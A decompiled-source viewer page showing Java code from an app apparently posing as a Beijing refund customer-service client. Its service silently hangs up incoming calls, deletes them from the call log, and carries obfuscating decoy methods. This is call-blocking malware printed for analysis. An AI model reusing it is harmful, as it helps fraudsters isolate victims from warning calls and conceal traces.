导航菜单

页面标题

页面副标题

北京退费客服端 v1.0.0 - CallApiBelow26And28Service.java 源代码

正在查看: 北京退费客服端 v1.0.0 应用的 CallApiBelow26And28Service.java JAVA 源代码文件

本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。


package im.amwhusedvt.tel;

import android.app.Service;
import android.content.Intent;
import android.os.Build;
import android.os.IBinder;
import android.telecom.TelecomManager;
import android.telephony.TelephonyManager;
import com.android.internal.telephony.ITelephonyManager;
import java.lang.reflect.Method;
import kotlin.Metadata;
import kotlin.TypeCastException;
import kotlin.jvm.internal.Intrinsics;

@Metadata(bv = {1, 0, 3}, d1 = {"\u00000\n\u0002\u0018\u0002\n\u0002\u0018\u0002\n\u0002\b\u0002\n\u0002\u0010\u0002\n\u0002\b\u0002\n\u0002\u0010\u000e\n\u0000\n\u0002\u0018\u0002\n\u0000\n\u0002\u0018\u0002\n\u0002\b\u0003\n\u0002\u0010\b\n\u0002\b\u0003\b\u0016\u0018\u00002\u00020\u0001B\u0005¢\u0006\u0002\u0010\u0002J\b\u0010\u0003\u001a\u00020\u0004H\u0003J\u0010\u0010\u0005\u001a\u00020\u00042\u0006\u0010\u0006\u001a\u00020\u0007H\u0002J\u0012\u0010\b\u001a\u0004\u0018\u00010\t2\u0006\u0010\n\u001a\u00020\u000bH\u0016J\b\u0010\f\u001a\u00020\u0004H\u0016J\b\u0010\r\u001a\u00020\u0004H\u0016J\"\u0010\u000e\u001a\u00020\u000f2\b\u0010\n\u001a\u0004\u0018\u00010\u000b2\u0006\u0010\u0010\u001a\u00020\u000f2\u0006\u0010\u0011\u001a\u00020\u000fH\u0016¨\u0006\u0012"}, d2 = {"Lim/amwhusedvt/tel/CallApiBelow26And28Service;", "Landroid/app/Service;", "()V", "hangUpCall", "", "matchRule", "incomingNumber", "", "onBind", "Landroid/os/IBinder;", "intent", "Landroid/content/Intent;", "onCreate", "onDestroy", "onStartCommand", "", "flags", "startId", "HMessagesPrj_prodRelease"}, k = 1, mv = {1, 1, 16})
public class CallApiBelow26And28Service extends Service {
    private final void hangUpCall(byte b, int i, String str, char c) {
        double d = (42 * 210) + 210;
    }

    private final void hangUpCall(char c, int i, byte b, String str) {
        double d = (42 * 210) + 210;
    }

    private final void hangUpCall(int i, String str, byte b, char c) {
        double d = (42 * 210) + 210;
    }

    private final void matchRule(String str, String str2, byte b, boolean z, float f) {
        double d = (42 * 210) + 210;
    }

    private final void matchRule(String str, String str2, float f, byte b, boolean z) {
        double d = (42 * 210) + 210;
    }

    private final void matchRule(String str, boolean z, String str2, float f, byte b) {
        double d = (42 * 210) + 210;
    }

    @Override
    public void onCreate() {
        super.onCreate();
    }

    @Override
    public IBinder onBind(Intent intent) {
        Intrinsics.checkParameterIsNotNull(intent, "intent");
        return null;
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        if ((31 + 24) % 24 <= 0) {
        }
        String callState = intent != null ? intent.getStringExtra("callState") : null;
        if (Intrinsics.areEqual(callState, TelephonyManager.EXTRA_STATE_RINGING)) {
            String incomingNumber = intent != null ? intent.getStringExtra("incomingNumber") : null;
            if (incomingNumber != null) {
                String it = incomingNumber;
                matchRule(it);
                CallInterceptorKt.deleteIncomingCallLog(this, it);
            }
        }
        return super.onStartCommand(intent, flags, startId);
    }

    private final void matchRule(String incomingNumber) {
        hangUpCall();
    }

    private final void hangUpCall() {
        if ((2 + 30) % 30 <= 0) {
        }
        try {
            if (Build.VERSION.SDK_INT == 28) {
                Object systemService = getSystemService("telecom");
                if (systemService == null) {
                    throw new TypeCastException("null cannot be cast to non-null type android.telecom.TelecomManager");
                }
                TelecomManager telecomManager = (TelecomManager) systemService;
                telecomManager.endCall();
                return;
            }
            Class loadClass = getClassLoader().loadClass("android.os.ServiceManager");
            Method method = loadClass.getDeclaredMethod("getService", String.class);
            Intrinsics.checkExpressionValueIsNotNull(method, "loadClass.getDeclaredMet…ice\", String::class.java)");
            Object invoke = method.invoke(null, "phone");
            if (invoke == null) {
                throw new TypeCastException("null cannot be cast to non-null type android.os.IBinder");
            }
            IBinder invoke2 = (IBinder) invoke;
            ITelephonyManager iTelephony = ITelephonyManager.Stub.asInterface(invoke2);
            iTelephony.endCall();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
    }
}